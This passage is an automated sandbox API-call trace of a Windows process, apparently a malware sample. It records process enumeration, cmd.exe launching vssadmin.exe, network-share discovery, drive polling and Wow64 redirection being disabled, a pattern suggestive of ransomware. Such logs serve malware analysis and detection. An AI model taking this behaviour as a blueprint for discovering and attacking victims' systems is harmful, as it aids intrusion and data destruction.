lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0183.782] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0183.782] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0183.782] lstrlenW (lpString="movers-indication.exe") returned 21 [0183.782] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0183.783] lstrlenW (lpString="drama tv thee.exe") returned 17 [0183.783] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0183.784] lstrlenW (lpString="barriers.exe") returned 12 [0183.784] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0183.785] lstrlenW (lpString="shootclick.exe") returned 14 [0183.785] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0183.786] lstrlenW (lpString="nickel.exe") returned 10 [0183.786] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0183.786] lstrlenW (lpString="imperialopened.exe") returned 18 [0183.787] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0183.787] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0183.787] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0183.789] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0183.789] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0183.790] lstrlenW (lpString="perhapssentences.exe") returned 20 [0183.790] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.791] lstrlenW (lpString="svchost.exe") returned 11 [0183.791] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0183.791] lstrlenW (lpString="chrome64b.exe") returned 13 [0183.791] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0183.792] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0183.792] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.793] lstrlenW (lpString="conhost.exe") returned 11 [0183.793] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0183.794] lstrlenW (lpString="cmd.exe") returned 7 [0183.794] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.795] lstrlenW (lpString="conhost.exe") returned 11 [0183.795] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0183.795] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0183.795] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0183.796] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0183.796] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0183.797] lstrlenW (lpString="vssadmin.exe") returned 12 [0183.797] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0183.798] lstrlenW (lpString="dllhost.exe") returned 11 [0183.798] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0183.798] lstrlenW (lpString="LogonUI.exe") returned 11 [0183.799] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.799] lstrlenW (lpString="svchost.exe") returned 11 [0183.799] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0183.800] CloseHandle (hObject=0x394) returned 1 [0183.800] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x9c0 [0153.464] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0153.464] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d5328 | out: hHeap=0x790000) returned 1 Thread: id = 6 os_tid = 0xffc [0153.465] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81c548 [0153.465] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c548, Size=0x20) returned 0x7cec80 [0153.465] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cec80, Size=0x40) returned 0x7ac618 [0153.465] GetLogicalDrives () returned 0x4 [0153.465] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x80afd0 [0153.465] GetComputerNameW (in: lpBuffer=0x80afd4, nSize=0x276ff64 | out: lpBuffer="NQDPDE", nSize=0x276ff64) returned 1 [0153.466] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x7edb48 [0153.466] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x276ff34 | out: lphEnum=0x276ff34*=0x7a5170) returned 0x0 [0153.466] WNetEnumResourceW (in: hEnum=0x7a5170, lpcCount=0x276ff30, lpBuffer=0x7edb48, lpBufferSize=0x276ff38 | out: lpcCount=0x276ff30, lpBuffer=0x7edb48, lpBufferSize=0x276ff38) returned 0x103 [0153.467] WNetCloseEnum (hEnum=0x7a5170) returned 0x0 [0153.467] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x276ff34 | out: lphEnum=0x276ff34*=0x7a9530) returned 0x0 [0157.918] WNetEnumResourceW (in: hEnum=0x7a9530, lpcCount=0x276ff30, lpBuffer=0x7edb48, lpBufferSize=0x276ff38 | out: lpcCount=0x276ff30, lpBuffer=0x7edb48, lpBufferSize=0x276ff38) returned 0x0 [0157.918] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x81fc30 [0157.919] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7edb48, lphEnum=0x276ff08 | out: lphEnum=0x276ff08*=0x7a50f0) returned 0x0 [0158.086] WNetEnumResourceW (in: hEnum=0x7a50f0, lpcCount=0x276ff04, lpBuffer=0x81fc30, lpBufferSize=0x276ff0c | out: lpcCount=0x276ff04, lpBuffer=0x81fc30, lpBufferSize=0x276ff0c) returned 0x103 [0158.086] WNetCloseEnum (hEnum=0x7a50f0) returned 0x0 [0158.086] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x81dc20 [0158.086] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7edb68, lphEnum=0x276ff08 | out: lphEnum=0x276ff08*=0x0) returned 0x4b8 [0175.426] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1000) returned 0x42fb128 [0175.426] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7edb88, lphEnum=0x276ff08 | out: lphEnum=0x276ff08*=0x0) returned 0x4c6 [0176.626] WNetEnumResourceW (in: hEnum=0x7a9530, lpcCount=0x276ff30, lpBuffer=0x7edb48, lpBufferSize=0x276ff38 | out: lpcCount=0x276ff30, lpBuffer=0x7edb48, lpBufferSize=0x276ff38) returned 0x103 [0176.626] WNetCloseEnum (hEnum=0x7a9530) returned 0x0 [0176.626] GetLogicalDrives () returned 0x4 [0176.626] Sleep (dwMilliseconds=0x64) [0177.338] GetLogicalDrives () returned 0x4 [0177.338] Sleep (dwMilliseconds=0x64) [0177.840] GetLogicalDrives () returned 0x4 [0177.840] Sleep (dwMilliseconds=0x64) [0178.624] GetLogicalDrives () returned 0x4 [0178.624] Sleep (dwMilliseconds=0x64) [0179.298] GetLogicalDrives () returned 0x4 [0179.298] Sleep (dwMilliseconds=0x64) [0179.702] GetLogicalDrives () returned 0x4 [0179.702] Sleep (dwMilliseconds=0x64) [0180.287] GetLogicalDrives () returned 0x4 [0180.287] Sleep (dwMilliseconds=0x64) [0180.955] GetLogicalDrives () returned 0x4 [0180.955] Sleep (dwMilliseconds=0x64) [0181.418] GetLogicalDrives () returned 0x4 [0181.418] Sleep (dwMilliseconds=0x64) [0181.796] GetLogicalDrives () returned 0x4 [0181.796] Sleep (dwMilliseconds=0x64) [0182.018] GetLogicalDrives () returned 0x4 [0182.018] Sleep (dwMilliseconds=0x64) [0182.228] GetLogicalDrives () returned 0x4 [0182.228] Sleep (dwMilliseconds=0x64) [0182.476] GetLogicalDrives () returned 0x4 [0182.476] Sleep (dwMilliseconds=0x64) [0182.656] GetLogicalDrives () returned 0x4 [0182.656] Sleep (dwMilliseconds=0x64) [0182.801] GetLogicalDrives () returned 0x4 [0182.801] Sleep (dwMilliseconds=0x64) [0182.917] GetLogicalDrives () returned 0x4 [0182.917] Sleep (dwMilliseconds=0x64) [0183.049] GetLogicalDrives () returned 0x4 [0183.049] Sleep (dwMilliseconds=0x64) [0183.174] GetLogicalDrives () returned 0x4 [0183.174] Sleep (dwMilliseconds=0x64) [0183.307] GetLogicalDrives () returned 0x4 [0183.307] Sleep (dwMilliseconds=0x64) [0183.436] GetLogicalDrives () returned 0x4 [0183.436] Sleep (dwMilliseconds=0x64) [0183.600] GetLogicalDrives () returned 0x4 [0183.600] Sleep (dwMilliseconds=0x64) [0183.773] GetLogicalDrives () returned 0x4 [0183.773] Sleep (dwMilliseconds=0x64) [0183.930] GetLogicalDrives () returned 0x4 [0183.930] Sleep (dwMilliseconds=0x64) [0184.085] GetLogicalDrives () returned 0x4 [0184.085] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0xe94 [0156.523] GetTickCount () returned 0x22725 [0156.523] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x7ef538 [0156.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7ef538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0156.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7ef538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0156.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7ef538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0156.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7ef538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0156.525] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7eca08 [0156.525] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7eca08, Size=0x20) returned 0x7cea00 [0156.525] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ec858 [0156.525] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec858, Size=0x20) returned 0x7ce8c0 [0156.525] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0156.525] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0156.525] Wow64DisableWow64FsRedirection (in: OldValue=0x286ff7c | out: OldValue=0x286ff7c*=0x0) returned 1 [0156.525] lstrlenW (lpString="kernel32.dll") returned 12 [0156.525] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0156.525] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.526] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ce8c0 | out: hHeap=0x790000) returned 1 [0156.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x7d7758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0156.526] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0156.667] GetTickCount () returned 0x227c2 [0156.667] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0157.867] GetTickCount () returned 0x22c75 [0157.867] GetTickCount () returned 0x22c75 [0157.867] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0158.054] GetTickCount () returned 0x22d30 [0158.054] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0158.178] GetTickCount () returned 0x22dad [0158.178] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0158.317] GetTickCount () returned 0x22e3a [0158.317] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0158.443] GetTickCount () returned 0x22eb7 [0158.443] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0158.929] GetTickCount () returned 0x2309b [0158.929] GetTickCount () returned 0x2309b [0158.929] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0159.316] GetTickCount () returned 0x23222 [0159.316] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0159.445] GetTickCount () returned 0x2329f [0159.445] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0159.858] GetTickCount () returned 0x23435 [0159.859] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0159.986] GetTickCount () returned 0x234b2 [0159.986] GetTickCount () returned 0x234b2 [0159.986] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0160.178] GetTickCount () returned 0x2357d [0160.178] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0160.300] GetTickCount () returned 0x235eb [0160.300] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0160.405] GetTickCount () returned 0x23658 [0160.405] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0160.505] GetTickCount () returned 0x236c5 [0160.505] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0161.089] GetTickCount () returned 0x23907 [0161.089] GetTickCount () returned 0x23907 [0161.089] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0161.462] GetTickCount () returned 0x23a7e [0161.462] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0161.764] GetTickCount () returned 0x23ba7 [0161.764] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0162.006] GetTickCount () returned 0x23ca1 [0162.006] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0162.120] GetTickCount () returned 0x23d0f [0162.120] GetTickCount () returned 0x23d0f [0162.120] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0162.319] GetTickCount () returned 0x23dda [0162.319] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0162.516] GetTickCount () returned 0x23e95 [0162.517] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0163.211] GetTickCount () returned 0x24154 [0163.211] GetTickCount () returned 0x24154 [0163.211] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0163.381] GetTickCount () returned 0x24200 [0163.381] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0163.493] GetTickCount () returned 0x2426e [0163.493] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0163.888] GetTickCount () returned 0x243f4 [0163.888] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0164.124] GetTickCount () returned 0x244df [0164.124] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0164.422] GetTickCount () returned 0x24608 [0164.422] GetTickCount () returned 0x24608 [0164.422] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0164.545] GetTickCount () returned 0x24685 [0164.545] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0164.662] GetTickCount () returned 0x24702 [0164.662] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0164.931] GetTickCount () returned 0x2480b [0164.931] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.114] GetTickCount () returned 0x248c7 [0165.114] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.226] GetTickCount () returned 0x24934 [0165.226] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.339] GetTickCount () returned 0x249a1 [0165.339] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.446] GetTickCount () returned 0x24a0f [0165.446] GetTickCount () returned 0x24a0f [0165.446] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.563] GetTickCount () returned 0x24a7c [0165.564] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.673] GetTickCount () returned 0x24aea [0165.673] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.773] GetTickCount () returned 0x24b57 [0165.773] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0165.894] GetTickCount () returned 0x24bc4 [0165.894] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.173] GetTickCount () returned 0x24cde [0166.173] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.311] GetTickCount () returned 0x24d6a [0166.311] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.422] GetTickCount () returned 0x24dd8 [0166.422] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.523] GetTickCount () returned 0x24e45 [0166.523] GetTickCount () returned 0x24e45 [0166.523] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.638] GetTickCount () returned 0x24eb2 [0166.638] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.742] GetTickCount () returned 0x24f20 [0166.742] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.853] GetTickCount () returned 0x24f8d [0166.853] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0166.974] GetTickCount () returned 0x2500a [0166.974] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.083] GetTickCount () returned 0x25077 [0167.083] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.195] GetTickCount () returned 0x250e5 [0167.195] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.305] GetTickCount () returned 0x25152 [0167.305] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.411] GetTickCount () returned 0x251c0 [0167.411] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.520] GetTickCount () returned 0x2522d [0167.520] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.631] GetTickCount () returned 0x2529a [0167.631] GetTickCount () returned 0x2529a [0167.631] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.739] GetTickCount () returned 0x25308 [0167.739] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.849] GetTickCount () returned 0x25375 [0167.849] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0167.958] GetTickCount () returned 0x253e2 [0167.958] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.071] GetTickCount () returned 0x25450 [0168.071] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.177] GetTickCount () returned 0x254bd [0168.177] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.287] GetTickCount () returned 0x2552b [0168.287] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.395] GetTickCount () returned 0x25598 [0168.395] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.504] GetTickCount () returned 0x25605 [0168.504] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.806] GetTickCount () returned 0x2572e [0168.806] GetTickCount () returned 0x2572e [0168.806] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0168.983] GetTickCount () returned 0x257da [0168.983] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.083] GetTickCount () returned 0x25847 [0169.083] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.192] GetTickCount () returned 0x258b5 [0169.192] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.302] GetTickCount () returned 0x25922 [0169.302] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.411] GetTickCount () returned 0x25990 [0169.411] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.556] GetTickCount () returned 0x25a1c [0169.556] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.678] GetTickCount () returned 0x25a99 [0169.678] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.787] GetTickCount () returned 0x25b07 [0169.787] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0169.896] GetTickCount () returned 0x25b74 [0169.896] GetTickCount () returned 0x25b74 [0169.896] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.006] GetTickCount () returned 0x25be1 [0170.006] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.162] GetTickCount () returned 0x25c7e [0170.162] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.271] GetTickCount () returned 0x25ceb [0170.271] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.381] GetTickCount () returned 0x25d58 [0170.381] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.490] GetTickCount () returned 0x25dc6 [0170.490] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.600] GetTickCount () returned 0x25e33 [0170.600] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.722] GetTickCount () returned 0x25ea0 [0170.722] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.820] GetTickCount () returned 0x25f0e [0170.820] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0170.929] GetTickCount () returned 0x25f7b [0170.929] GetTickCount () returned 0x25f7b [0170.929] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.037] GetTickCount () returned 0x25fe9 [0171.037] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0171.174] GetTickCount () returned 0x26066 [0171.174] WaitForSingleObject (hHandle=0x2ac, 